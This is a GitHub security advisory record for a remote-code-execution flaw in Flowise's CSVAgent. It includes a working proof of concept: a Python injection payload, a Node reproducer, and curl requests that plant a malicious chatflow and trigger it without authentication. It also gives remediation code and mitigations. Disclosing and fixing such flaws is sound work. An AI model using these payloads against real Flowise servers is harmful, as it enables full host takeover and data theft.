{"id":"GHSA-4j8x-x6v7-w9rq","summary":"Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation","details":"### Summary\nFlowise's `CSVAgent` interpolates an attacker-controlled segment of the\n`csvFile` data URI directly into a Python source-code template that is then\nexecuted by Pyodide. Because Pyodide is loaded with the default `js` bridge\nto `globalThis` (which on Node.js exposes `eval` and dynamic `import()`), the\nattacker can break out of the Python string literal, hand a JS string to\n`js.eval`, dynamically import any Node built-in module (`fs`, `child_process`,\n…), and execute arbitrary file I/O or OS commands as the Flowise process.\nThe two validator paths around this code (`validatePythonCodeForDataFrame`\nand `validateCustomReadCSVFunction`) are never applied to the bootstrap\ntemplate.\n\nA workspace user with `chatflows:create` (or any `agentflows`/`chatflows`\nupdate permission) plants a CSV Agent node with a crafted `csvFile`. Once the\nchatflow is exposed via the (whitelisted, public) `POST /api/v1/prediction/:id`\nendpoint, *any unauthenticated* request triggers the host RCE.\n\n### Details\n\n**Vulnerable file:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\nThe `run()` method extracts the file segment from the data URI by splitting on\n`,` and using two `pop()` calls (lines 127–138):\n\n```ts\n} else {\n    if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {\n        files = JSON.parse(csvFileBase64)\n    } else {\n        files = [csvFileBase64]\n    }\n\n    for (const file of files) {\n        if (!file) continue\n        const splitDataURI = file.split(',')\n        splitDataURI.pop()                           // discards trailing filename segment\n        base64String += splitDataURI.pop() ?? ''     // captures the segment we attack\n    }\n}\n```\n\nThe captured `base64String` is then **interpolated verbatim** into a Python\nsource string at lines 156–171:\n\n```ts\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"      // ← line 161: interpolation sink\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)   // ← line 171: sink\n```\n\n**Validator gaps:**\n\n- `validateCustomReadCSVFunction(customReadCSVFunc)` runs on line 147, but\n  this only validates the `customReadCSV` field, not `base64String`.\n- `validatePythonCodeForDataFrame(pythonCode)` runs on line 198, but only\n  against the *LLM-emitted* Python that runs later — never against this\n  bootstrap template.\n- No content check (`^[A-Za-z0-9+/=]*$`) is applied to `base64String` before\n  interpolation.\n\n**Pyodide configuration** (`packages/components/nodes/agents/CSVAgent/core.ts`,\nlines 7–16):\n\n```ts\nexport async function LoadPyodide(): Promise\u003cPyodideInterface\u003e {\n    if (pyodideInstance === undefined) {\n        const { loadPyodide } = await import('pyodide')\n        const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }\n        pyodideInstance = await loadPyodide(obj)\n        await pyodideInstance.loadPackage(['pandas', 'numpy'])\n    }\n    return pyodideInstance\n}\n```\n\nPyodide is loaded with default options. On Node.js, the default `js` module\ninside Pyodide bridges to `globalThis`, exposing the JS `eval` function and\ntop-level dynamic `import()`. From injected Python, the attacker runs:\n\n```python\nimport js\nawait js.eval(\n    \"(async () =\u003e {\"\n    \"  const fs = await import('fs');\"\n    \"  fs.writeFileSync('proof.txt', 'pwned');\"\n    \"})()\"\n)\n```\n\n…which executes in the host Node.js process, **not** inside Pyodide's WASM\nsandbox. Substituting `await import('child_process')` for `await import('fs')`\nyields arbitrary OS-command execution via `cp.execSync(...)` with the same\nprimitive.\n\n\u003e **Node-version note.** The original PoC for this issue used\n\u003e `js.process.mainModule.require(\"child_process\")`, which is a one-liner but\n\u003e only works on Node ≤ 13 because `process.mainModule` was deprecated and now\n\u003e returns `undefined` on Node 14+. The `js.eval` + dynamic-`import()` form\n\u003e above works on any Node 13.2+ in both CommonJS and ESM contexts, and was\n\u003e confirmed end-to-end against a stock `flowise@3.1.2` running on Node\n\u003e 20.20.2 — see [Verified end-to-end against live Flowise](#verified-end-to-end-against-live-flowise)\n\u003e below.\n\n**Trigger path (post-plant):** the route `POST /api/v1/prediction/:id` is in\n`WHITELIST_URLS` (`packages/server/src/utils/constants.ts:12`); when the\nchatflow has no `apikeyid` set, it is reachable unauthenticated. A prediction\nrequest runs the chatflow, instantiates `CSVAgent`, and executes the malicious\nbootstrap.\n\n### PoC\n\nVerified end-to-end on the cloned repo (commit\n`a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d`, the same commit the prior audit\nwas based on).\n\n#### Reproducer setup\n\nTwo files. Save the first as `package.json`, the second as\n`repro_a1_pyodide.js`, then `npm install && node repro_a1_pyodide.js` in the\nsame directory.\n\n**`package.json`:**\n\n```json\n{\n  \"name\": \"poc-flowise-s1\",\n  \"version\": \"1.0.0\",\n  \"type\": \"commonjs\",\n  \"dependencies\": {\n    \"pyodide\": \"^0.29.3\"\n  }\n}\n```\n\n**`repro_a1_pyodide.js`** — mirrors `CSVAgent.ts:127-138` (the data-URI\nparser) and `:156-171` (the Python template), then runs the assembled Python\nthrough real Pyodide. The injection segment is checked for commas before\nassembly to confirm it cannot be fragmented by the JS-side `split(',')`.\n\n```js\n// Full host-RCE PoC for Flowise CSVAgent base64-injection.\n//\n// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs\n// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled\n// csvFile data URI. Demonstrates:\n//   1. JS-side template-literal interpolation produces malicious Python\n//   2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)\n//   3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic\n//      import('fs') -\u003e host file write\n//\n// CONSTRAINTS:\n//   * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]\n//     of the data URI is what becomes `base64_string`, so this segment must\n//     contain NO raw `,` bytes.\n//   * Inside a Python double-quoted string literal, `,` is the escape\n//     for `,`. The data-URI parser sees the 6 raw bytes `\\`, `u`, `0`, `0`,\n//     `2`, `c` (no commas), but Python's lexer turns them into commas at\n//     runtime — letting us pass multiple arguments to JS functions inside\n//     the Python source.\n//\n// NODE-VERSION NOTE: an earlier revision of this PoC used\n//   `cp = js.process.mainModule.require(\"child_process\"); cp.execSync(...)`\n// which is shorter but only works on Node ≤ 13 — `process.mainModule` was\n// deprecated and now returns `undefined` on Node 14+, so the inner\n// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form\n// below works on any Node 13.2+ in both CommonJS and ESM contexts and was\n// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.\n\nconst fs = require('fs')\nconst path = require('path')\nconst { loadPyodide } = require('pyodide')\n\nconst proofName = 'flowise_a1_pyodide_proof.txt'\nconst proofPath = path.resolve(__dirname, proofName)\nconst proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'\n\n// --- Attacker payload (Python; comma-free) ----------------------------------\n// Closes the `base64_string = \"` literal with `\";`, runs malicious Python,\n// then `#` comments out the surviving closing `\"` so the rest of the\n// bootstrap template still parses.\nconst pythonInjection =\n    '\";\\n' +\n    'import js\\n' +\n    `await js.eval(\"(async () =\u003e { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\\\u002c '${proofMarker}'); })()\")\\n` +\n    '#'\n\n// Sanity: any commas would fragment the injection on the JS side.\nif (pythonInjection.includes(',')) {\n    throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(\",\")')\n}\n\nconst csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`\n\n// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------\nconst csvFileBase64 = csvFile\nconst files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]\nlet base64String = ''\nfor (const file of files) {\n    if (!file) continue\n    const splitDataURI = file.split(',')\n    splitDataURI.pop()\n    base64String += splitDataURI.pop() ?? ''\n}\n\n// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------\n// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just\n// to demonstrate the injection. The real flow's pyodide instance preloads\n// pandas via LoadPyodide() (core.ts:12). The injection point and validator\n// bypass are identical either way.\nconst code = `import base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\nprint(\"post-injection bootstrap continued; base64_string =\", repr(base64_string))\n`\n\nconsole.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')\nconsole.log(code)\nconsole.log('--- end ---\\n')\n\n;(async () =\u003e {\n    try { fs.unlinkSync(proofPath) } catch {}\n\n    console.log('[*] Loading pyodide...')\n    const pyodide = await loadPyodide()\n    console.log('[*] Pyodide loaded; running attacker-assembled Python...\\n')\n\n    try {\n        await pyodide.runPythonAsync(code)\n    } catch (e) {\n        console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')\n        console.log(String(e).split('\\n').slice(0, 8).join('\\n'))\n    }\n\n    // give the spawned writeFileSync a moment to flush\n    await new Promise((r) =\u003e setTimeout(r, 500))\n\n    console.log('\\n--- Proof file at ' + proofPath + ' ---')\n    if (fs.existsSync(proofPath)) {\n        console.log(fs.readFileSync(proofPath, 'utf-8').trim())\n        console.log('\\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')\n    } else {\n        console.log('[-] Proof file not present.')\n    }\n})()\n```\n\n#### What gets assembled\n\nAfter the two `pop()` calls in `CSVAgent.ts:135-137` extract the third comma-separated segment, the Python text passed to `pyodide.runPythonAsync` becomes (note that Python's lexer resolves the `,` escapes inside the string literal back to commas, so the JS code actually receives `fs.writeFileSync('proof', 'marker')`):\n\n```python\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"\";\nimport js\nawait js.eval(\"(async () =\u003e { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()\")\n#\"\n\ndecoded_data = base64.b64decode(base64_string)\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n...\n```\n\nThe `\";` closes line 161's string literal; the injected statements execute\n(awaiting the JS Promise that writes the proof file); the trailing `#`\ncomments out the dangling `\"` so the rest of the bootstrap parses. The\nremaining `b64decode(\"\")` returns `b''` and `pd.read_csv` (in the live\ntemplate) then raises `pandas.errors.EmptyDataError`, but the\n`fs.writeFileSync(...)` call has already fired in the Node host.\n\n#### Observed output (after deleting any prior proof file)\n\n```\n[*] Loading pyodide...\n[*] Pyodide loaded; running attacker-assembled Python...\n\n--- Proof file at .../flowise_a1_pyodide_proof.txt ---\nFLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import\n\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.\n```\n\nThe proof file `flowise_a1_pyodide_proof.txt` is written by the Node host\nprocess via the Pyodide `js` bridge → `js.eval(...)` →\n`(await import('fs')).writeFileSync(...)`, confirming the escape from the\nPyodide WASM sandbox. The standalone repro omits `import pandas`, so no\npost-injection exception is raised — but the live template (`pandas.read_csv`\non the empty buffer) throws `pandas.errors.EmptyDataError` *after* the host\nwrite has already happened, which is exactly the symptom an operator sees in\nthe chat panel.\n\n#### Verified end-to-end against live Flowise\n\nThe standalone repro above proves the validator-bypass + sandbox-escape\nprimitive in isolation. The same payload was additionally verified against a\nstock `flowise@3.1.2` install on Node 20.20.2:\n\n| Step | Action |\n|---|---|\n| 1 | `npm install -g flowise` (Node 20.20.2, Linux x64) |\n| 2 | `flowise start` → bind on `:3000` |\n| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |\n| 4 | Plant the attached `evil-csvagent-flow.json` in the chatflows DB (UI import or `POST /api/v1/chatflows`) |\n| 5 | Open the chatflow → click chat → send any message |\n| 6 | Chat panel shows `pandas.errors.EmptyDataError: No columns to parse from file` |\n| 7 | `/home/\u003cuser\u003e/flowise_a1_proof.txt` is now present, 46 bytes, content `FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import`, owner-uid matches the Flowise process uid |\n\nReproduction artifacts (`evil-csvagent-flow.json`, `build-flow-v2.js`,\n`test-flow.js`, the captured `evidence-bundle.txt`) live at\n`pocs/S1-csvagent-csvfile-rce/triage-response/`. The chatflow JSON is built\nverbatim from Flowise's bundled `marketplaces/chatflows/CSV Agent.json`\ntemplate with three minimal edits — the malicious `csvFile` data URI on\n`csvAgent_0`, a placeholder credential on `chatOpenAI_0`, and the sticky\nnote removed — so it imports cleanly into any Flowise 3.x without the\n`reactFlowNodeData.inputParams.find(...)` 500 the maintainer initially saw\nwhen handed a hand-crafted minimal flow.\n\n#### End-to-end against a live Flowise instance\n\nThe local PoC above proves the validator-bypass + sandbox-escape primitive.\nTo reach the same primitive over HTTP against a deployed Flowise, two\nrequests suffice:\n\n```bash\n# Step 1 — authenticated chatflow author (any user with chatflows:create\n# in OSS, this is typically every registered user) plants the flow.\n# evil-csvagent-flow.json is a chatflow whose csvAgent node has\n#   inputs.csvFile = \"data:text/csv;base64,A,\u003ccomma-free python payload\u003e,IGNORED\"\ncurl -X POST https://target/api/v1/chatflows \\\n  -H \"Authorization: Bearer \u003capi-key with chatflows:create\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d @evil-csvagent-flow.json\n# → returns chatflow id, e.g. \"\u003cflow-uuid\u003e\"\n\n# Step 2 — anyone, no auth (the route is whitelisted at\n# packages/server/src/utils/constants.ts:12) triggers execution:\ncurl -X POST https://target/api/v1/prediction/\u003cflow-uuid\u003e \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"question\":\"go\"}'\n```\n\nStep 1 is the only authenticated step; Step 2 is unauthenticated when\n`chatflow.apikeyid` is unset (the default for newly created chatflows).\n\n### Impact\n\n- **Class:** Remote Code Execution via Python-template injection escaping the\n  Pyodide sandbox through the `js` bridge.\n- **Affected:** every Flowise deployment that exposes a chatflow containing a\n  `CSVAgent` node where `csvFile` is operator-supplied (i.e., overridable via\n  `nodeOverrides` for the API caller, or planted by any user with chatflow\n  edit permission).\n- **Prerequisites:** one user with `chatflows:create` / `chatflows:update` /\n  `agentflows:create` / `agentflows:update` to plant the chatflow once. The\n  trigger is unauthenticated when the chatflow has no `apikeyid` set (the\n  default for newly created chatflows).\n- **Result:** arbitrary OS-command execution as the Flowise process. Direct\n  access to Flowise's encrypted-credentials key file, the entire database,\n  the host filesystem, and any network resource the host can reach.\n\n### Metadata\n\n- **Affected versions:** Confirmed at commit\n  `a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d` (main, 2026-04-28) and at\n  `flowise@3.1.2`. The vulnerable code (`splitDataURI.pop()` + template-string\n  interpolation) appears unchanged across this range. Earlier 3.x versions\n  with the same data-URI parsing pattern are also believed to be affected,\n  but I did not verify each historical tag.\n- **Fixed version:** Unpatched at the audited commit.\n- **CVSS v3.1:**\n  `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` → Base score **9.9\n  (Critical)**.\n  - AV:N — public `/api/v1/prediction/:id` trigger.\n  - AC:L — deterministic; no race / timing.\n  - PR:L — one user with `chatflows:create` (or equivalent) plants the\n    chatflow. In OSS deployments, any registered user typically has this.\n  - UI:N — no user interaction required at trigger time.\n  - S:C — Pyodide's WASM/Python sandbox is the intended security authority\n    for this code path; the `js` bridge escape and the validator bypass break\n    out to the Node host process.\n  - C:H / I:H / A:H — full host compromise.\n- **CWE:** CWE-94 (Improper Control of Generation of Code: 'Code Injection');\n  more specifically CWE-95 (Improper Neutralization of Directives in\n  Dynamically Evaluated Code: 'Eval Injection').\n\n### Remediation\n\n**Maintainer fix (preferred — eliminates string-interpolation entirely):**\npass the base64 value through Pyodide's `globals.set` API instead of\ntemplate-string interpolation. In `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`,\nreplace the construction at lines 156–171 with something like:\n\n```ts\nconst pyodide = await LoadPyodide()\npyodide.globals.set('base64_string', base64String)\nconst code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode('utf-8'))\n\ndf = pd.${customReadCSVFunc}\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\ndataframeColDict = await pyodide.runPythonAsync(code)\n```\n\nThis keeps the value as a Python `str` object that never enters the source\ntext. Apply the same change to `AirtableAgent.ts` if it follows the same\npattern.\n\n**Defense in depth (recommended as well):**\n1. Validate `base64String` against `^[A-Za-z0-9+/=]*$` before interpolation\n   (rejects every escape character used in the PoC).\n2. Disable Pyodide's `js` module on load. Pyodide supports `loadPyodide({ jsglobals: {} })`\n   or the `js`-module-removal recipe; either prevents the bridge to\n   `globalThis.process` on Node.js. Apply in\n   `packages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide`.\n3. Run `validatePythonCodeForDataFrame` (or a stricter equivalent) over the\n   bootstrap template, not only over the LLM-emitted code. The current\n   ordering inverts the trust assumption.\n4. Add a positive allow-list to `validateCustomReadCSVFunction` enumerating\n   only safe pandas readers (e.g., `read_csv` and column-typed forms);\n   exclude `read_pickle`, `read_html`, `read_xml`, `read_parquet`,\n   `read_orc`, `read_feather`, `read_json` (these are independently\n   exploitable — see S2/S3 in the submission roadmap).\n\n**User mitigations until a patch ships:**\n- Set `chatflow.apikeyid` on every chatflow that uses CSVAgent so\n  `validateFlowAPIKey` enforces auth on `/api/v1/prediction/:id`.\n- Set `chatbotConfig.allowedOrigins` to a strict list (note: this only\n  defends against browser callers, not curl/server-side).\n- Restrict `chatflows:create` / `agentflows:create` permissions to trusted\n  users only.\n- Where possible, strip `csvFile` from the `nodeOverrides` allow-list on\n  affected chatflows so it cannot be supplied at prediction time.","aliases":["CVE-2026-69264"],"modified":"2026-08-04T18:11:00.992937Z","published":"2026-08-04T17:43:48Z","database_specific":{"github_reviewed_at":"2026-08-04T17:43:48Z","nvd_published_at":null,"cwe_ids":["CWE-94","CWE-95"],"severity":"CRITICAL","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-4j8x-x6v7-w9rq"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/pull/6499"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"},{"type":"PACKAGE","url":"https://github.com/FlowiseAI/Flowise"},{"type":"WEB","url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"}],"affected":[{"package":{"name":"flowise","ecosystem":"npm","purl":"pkg:npm/flowise"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-4j8x-x6v7-w9rq/GHSA-4j8x-x6v7-w9rq.json"}},{"package":{"name":"flowise-components","ecosystem":"npm","purl":"pkg:npm/flowise-components"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.1.3"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 3.1.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-4j8x-x6v7-w9rq/GHSA-4j8x-x6v7-w9rq.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}]}